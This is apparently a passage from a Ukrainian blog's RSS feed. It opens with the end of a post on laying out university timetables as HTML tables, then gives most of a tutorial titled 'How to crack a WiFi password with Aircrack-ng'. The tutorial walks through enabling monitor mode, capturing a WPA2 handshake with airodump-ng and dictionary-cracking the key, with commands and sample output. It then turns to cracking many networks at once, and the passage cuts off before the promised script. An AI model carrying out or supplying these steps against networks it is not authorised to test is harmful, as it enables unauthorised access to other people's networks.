Буквою &lt;strong&gt;x&lt;/strong&gt; позначимо універсальну штуку, мінусом &amp;mdash; відсутність пари.&lt;/p&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;номер&lt;/th&gt;
          &lt;th&gt;пара&lt;/th&gt;
          &lt;th&gt;1&lt;/th&gt;
          &lt;th&gt;2&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;1&lt;/td&gt;
          &lt;td&gt;Веброзробка дизайн&lt;/td&gt;
          &lt;td&gt;х&lt;/td&gt;
          &lt;td&gt;-&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2&lt;/td&gt;
          &lt;td&gt;Чисельні методи&lt;/td&gt;
          &lt;td&gt;ч&lt;/td&gt;
          &lt;td&gt;з&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Ці таблиці будуть трохи незручними, якщо в одної
групи є різні пари в чисельнику та знаменнику
(просто додатковий рядок із тим самим номером буде),
але можна зробити цікавіше:&lt;/p&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;номер&lt;/th&gt;
          &lt;th&gt;I&lt;/th&gt;
          &lt;th&gt;II&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;1&lt;/td&gt;
          &lt;td&gt;Веброзробка дизайн&lt;/td&gt;
          &lt;td&gt;Веброзробка дизайн&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2&lt;/td&gt;
          &lt;td&gt;Чисельні методи /&lt;/td&gt;
          &lt;td&gt;/ Чисельні методи&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Ось, казав, що хаки зло, і хакнув. Але це простий
хак, тому можна.
Вкурили? Слеш розділяє чисельник/знаменник, як у
компактному записі дробу. Текст у таблицях уже
можна стилізувати, як завгодно (так само приглушувати
неактуальні пари або що), але головне, що структура
й функціонал таблиці зберігається.&lt;/p&gt;
&lt;p&gt;Для порівняння можна подивитися в текстовому браузері lynx, або просто вимкнувши CSS у браузері.
Різниця та перевага моїх таблиць очевидна:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;1
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Технології веб розробки та дизайну
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;2
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Чисельні методи
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Чисельні методи
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   номер        пара        чис знам
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   1     Веброзробка дизайн 1   1
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   2     Чисельні методи    1   2
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   номер        пара        1 2
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   1     Веброзробка дизайн х -
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   2     Чисельні методи    ч з
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   номер         I                  II
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   1     Веброзробка дизайн Веброзробка дизайн
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   2     Чисельні методи /  / Чисельні методи
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;висновок&#34;&gt;Висновок&lt;/h2&gt;
&lt;p&gt;Я це придумав за кілька хвилин і ним уже
можна користуватися, але мені здається, що
політехніка може придумати кращий спосіб відображення.
Головне, щоб не прийшлось потім дивитись ВР-розклад.&lt;/p&gt;
&lt;p&gt;Я люблю знаходити нестандартні методи
виконання різних завдань, але тоді, коли
це ефективніше та зручніше, а не коли
це створює дискомфорт там, де його можна
легко уникнути.
Люди &lt;strong&gt;дуже часто забувають про просте
рішення та роблять безсенсовні надбудови&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;І звісно, це стосується не тільки сайтів. Одразу згадуються документи, роблені
у Word від Microsoft чи інших WYSIWG-редакторах, і хоча ці програми мають
функції організування документів, та природа WYSIWG така, що людина, яка тільки
за це сіла й бачить, що може відступати за допомогою пробілів чи ще щось таке,
вже не полізе ті функції шукати. А &lt;a href=&#34;https://miliukhin.xyz/tutorials/latex&#34;&gt;LaTeX&lt;/a&gt; і Groff такого не допускають, тому
завжди виходять нормальні документи.&lt;/p&gt;
&lt;p&gt;Структурування документів у стильових файлах чи різними хаками — дурня.
Через це повністю втрачається будь-який здоровий глузд. Не робіть так, або буде боляче іншим.&lt;/p&gt;
</description>
	</item>
	
	<item>
		<title>Як зламати пароль до WiFi з Aircrack-ng</title>
		<link>https://miliukhin.xyz/articles/aircrack/</link>
		<pubDate>Mon, 11 Sep 2023 12:44:07 +0300</pubDate>
		
		<guid>https://miliukhin.xyz/articles/aircrack/</guid>
		<description>&lt;h2 id=&#34;вступ&#34;&gt;Вступ&lt;/h2&gt;
&lt;p&gt;Ось, що ми зробимо:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;переведемо мережеву карту в режим моніторингу з &lt;code&gt;airmon-ng&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Перехопимо пакети за допомогою &lt;code&gt;airodump-ng&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Крякнемо ключ до мережі&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&#34;як-це-відбувається&#34;&gt;Як це відбувається?&lt;/h3&gt;
&lt;p&gt;За допомогою попередніх спільних ключів клієнт і точка доступу встановлюють ключовий 🗝️ матеріал, який буде використовуватися для їх зв’язку на початку, коли клієнт вперше зв’язується з точкою доступу. Між клієнтом і точкою доступу відбувається чотиристороннє рукостискання 🤝. &lt;em&gt;&lt;code&gt;airodump-ng&lt;/code&gt; може його зафіксувати&lt;/em&gt;. Використовуючи дані зі списку слів 📖(словника), &lt;em&gt;&lt;code&gt;aircrack-ng&lt;/code&gt; дублює це рукостискання 🤝, щоб визначити, чи відповідає певний запис у списку слів результатам чотиристороннього рукостискання&lt;/em&gt;. Якщо так, це означає, що попередній спільний ключ 🗝️ успішно ідентифіковано.&lt;/p&gt;
&lt;h2 id=&#34;моніторинг&#34;&gt;Моніторинг&lt;/h2&gt;
&lt;p&gt;Спершу дізнаймось назву нашого мережевого інтерфейсу (картки):&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;airmon-ng
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;PHY     Interface       Driver          Chipset
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;phy0    wlan0           iwlwifi         Intel Corporation Centrino Advanced-N &lt;span class=&#34;m&#34;&gt;6205&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;Taylor Peak&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;rev 34&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Або можна використати &lt;code&gt;iwconfig&lt;/code&gt; (&lt;code&gt;ifconfig&lt;/code&gt;), без різниці.
&lt;em&gt;Переведемо його в режим моніторингу:&lt;/em&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;airmon-ng start &amp;lt;інтерфейс&amp;gt; &lt;span class=&#34;c1&#34;&gt;# ну а щоб перестати, то stop (коли закінчимо)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;airmon-ng start wlan0 &lt;span class=&#34;c1&#34;&gt;# або одразу wlan0mon&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Found &lt;span class=&#34;m&#34;&gt;2&lt;/span&gt; processes that could cause trouble.
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Kill them using &lt;span class=&#34;s1&#34;&gt;&amp;#39;airmon-ng check kill&amp;#39;&lt;/span&gt; before putting
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;the card in monitor mode, they will interfere by changing channels
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;and sometimes putting the interface back in managed mode
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  PID Name
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt; &lt;span class=&#34;m&#34;&gt;1106&lt;/span&gt; NetworkManager
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt; &lt;span class=&#34;m&#34;&gt;1374&lt;/span&gt; wpa_supplicant
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;PHY     Interface       Driver          Chipset
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;phy0    wlan0           iwlwifi         Intel Corporation Centrino Advanced-N &lt;span class=&#34;m&#34;&gt;6205&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;Taylor Peak&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;rev 34&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;mac80211 monitor mode vif enabled &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;phy0&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;wlan0 on &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;phy0&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;wlan0mon&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;mac80211 station mode vif disabled &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;phy0&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;wlan0&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Як бачимо, варто вбити процеси &lt;code&gt;NetworkManager&lt;/code&gt; і &lt;code&gt;wpa_supplicant&lt;/code&gt;,
бо вони можуть заважати. &lt;strong&gt;Отже, нам вдалося виконати перший крок:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;airmon-ng
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;PHY     Interface       Driver          Chipset
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;phy0    wlan0mon        iwlwifi         Intel Corporation Centrino Advanced-N &lt;span class=&#34;m&#34;&gt;6205&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;Taylor Peak&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;rev 34&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;перехоплення-пакунків&#34;&gt;Перехоплення пакунків&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;airodump‐ng&lt;/code&gt; &amp;mdash; інструмент захоплення пакетів для &lt;code&gt;aircrack‐ng&lt;/code&gt; (з &lt;code&gt;man&lt;/code&gt;-сторінки).
Запустимо його, вказавши наш інтерфейс та &lt;em&gt;префікс&lt;/em&gt; (до якого додаватимуться різні суфікси) файлів, де він буде зберігати дані&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;airodump-ng wlan0mon -w lmao
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;airodump&lt;/code&gt; відображає трафік у реальному часі та
зберігає його у файли з префіксом, який ми дали.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;CH  &lt;span class=&#34;m&#34;&gt;9&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;][&lt;/span&gt; Elapsed: &lt;span class=&#34;m&#34;&gt;4&lt;/span&gt; s &lt;span class=&#34;o&#34;&gt;][&lt;/span&gt; 2007-03-24 16:58 &lt;span class=&#34;o&#34;&gt;][&lt;/span&gt; WPA handshake: 00:14:6C:7E:40:80 &lt;span class=&#34;c1&#34;&gt;# показує, що захопила рукостискання&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  BSSID              PWR RXQ  Beacons    &lt;span class=&#34;c1&#34;&gt;#Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  00:14:6C:7E:40:80   &lt;span class=&#34;m&#34;&gt;39&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;100&lt;/span&gt;       &lt;span class=&#34;m&#34;&gt;51&lt;/span&gt;      &lt;span class=&#34;m&#34;&gt;116&lt;/span&gt;   &lt;span class=&#34;m&#34;&gt;14&lt;/span&gt;   &lt;span class=&#34;m&#34;&gt;9&lt;/span&gt;  &lt;span class=&#34;m&#34;&gt;54&lt;/span&gt;  WPA2 CCMP   PSK  teddy
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  BSSID              STATION            PWR  Lost  Packets  Probes
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  00:14:6C:7E:40:80  00:0F:B5:FD:FB:C2   &lt;span class=&#34;m&#34;&gt;35&lt;/span&gt;     &lt;span class=&#34;m&#34;&gt;0&lt;/span&gt;      &lt;span class=&#34;m&#34;&gt;116&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Коли ми дістали рукостискання для потрібного BSSID, можемо
вимикати &lt;code&gt;airodump-ng&lt;/code&gt; та повертатися з моніторингового режиму.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;airmon-ng stop wlan0mon
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;злам-пароля&#34;&gt;Злам пароля&lt;/h2&gt;
&lt;p&gt;Ось, що зберегла &lt;code&gt;airodump-ng&lt;/code&gt;
(файли &lt;code&gt;lmao-01*&lt;/code&gt; &amp;mdash; логи першого запуску, &lt;code&gt;02&lt;/code&gt; &amp;mdash; другого й так далі):&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;lmao-01.cap            lmao-02.cap            lmao-03.cap
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;lmao-01.csv            lmao-02.csv            lmao-03.csv
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;lmao-01.kismet.csv     lmao-02.kismet.csv     lmao-03.kismet.csv
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;lmao-01.kismet.netxml  lmao-02.kismet.netxml  lmao-03.kismet.netxml
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;lmao-01.log.csv        lmao-02.log.csv        lmao-03.log.csv
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Зламувати паролі можна так:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;aircrack-ng &amp;lt;файл-який-зробив-airodump&amp;gt;.cap -w &amp;lt;файл-із-паролями&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;у моєму випадку&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;aircrack-ng lmao-01.cap -w wordlist
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Програма запуститься, спитає у вас, до якої мережі підбирати пароль, і почне саме зламування.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   &lt;span class=&#34;c1&#34;&gt;#  BSSID              ESSID                     Encryption&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;m&#34;&gt;30&lt;/span&gt;  45:3A:47:61:B7:09  bur                       Unknown
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;c1&#34;&gt;# припустімо, це потрібна мережа, тоді вводимо 30&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Якщо вивід виглядає так:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# ...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Read &lt;span class=&#34;m&#34;&gt;45934&lt;/span&gt; packets.
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;m&#34;&gt;1&lt;/span&gt; potential targets
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Packets contained no EAPOL data&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; unable to process this AP.
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Quitting aircrack-ng...
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;то це значить, що ми не захопили жодного рукостискання, тож
не маємо змоги підібрати пароль до цієї штуки (потрібно ще бавитись
&lt;code&gt;airodump-ng&lt;/code&gt; або виконати якесь з&amp;rsquo;єднання примусово, про що почитаєте в документації).
В іншому випадку буде відбуватися підбір, і якщо знайдеться підходящий пароль,
то ми отримаємо:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                               Aircrack-ng 1.7
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;00:00:00&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; 1/1 keys tested &lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;22.38 k/s&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;# 1 ключ, бо це тест, і я знаю пароль. Звісно, так не буде майже ніколи&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      Time left: --
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                           KEY FOUND! &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;42134111&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;# єєєєєєєєєєє&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# ...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Легко? От і ставте нормальний пароль, а не 4411admin.
А ще уявіть таке: ваш пароль зламали, а адмінські інструменти
роутера без пароля або теж 4411admin 💀💀💀.&lt;/p&gt;
&lt;h2 id=&#34;ламаємо-багато-мереж-одразу&#34;&gt;Ламаємо багато мереж одразу&lt;/h2&gt;
&lt;p&gt;Додамо два параметри (&lt;code&gt;-b &amp;lt;++&amp;gt;&lt;/code&gt; і &lt;code&gt;-l &amp;lt;++&amp;gt;&lt;/code&gt;) до нашої команди:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;aircrack-ng -b &amp;lt;bssid&amp;gt; &amp;lt;файл-який-зробив-airodump&amp;gt;.cap -w &amp;lt;список-паролів&amp;gt; -l &amp;lt;файл-куди-записати-ключ&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Раніше запускаючи Aircrack, ми отримували такий вивід:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   &lt;span class=&#34;c1&#34;&gt;#  BSSID              ESSID                     Encryption&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;m&#34;&gt;30&lt;/span&gt;  45:3A:47:61:B7:09  bur                       Unknown
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;У &lt;code&gt;vim&lt;/code&gt;&amp;lsquo;і можете запустити таку команду на кожній потрібній стрічці (наприклад, попередньо виділивши їх),
і отримаєте тільки BSSID у стовпчик, зручно!&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-vim&#34; data-lang=&#34;vim&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;norm&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;0&lt;/span&gt;d&lt;span class=&#34;m&#34;&gt;2&lt;/span&gt;wElD
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Або використайте власні засоби, щоб це зробити.
Приблизно так виглядатиме скрипт для
масового зламу паролів:&lt;/p&gt;
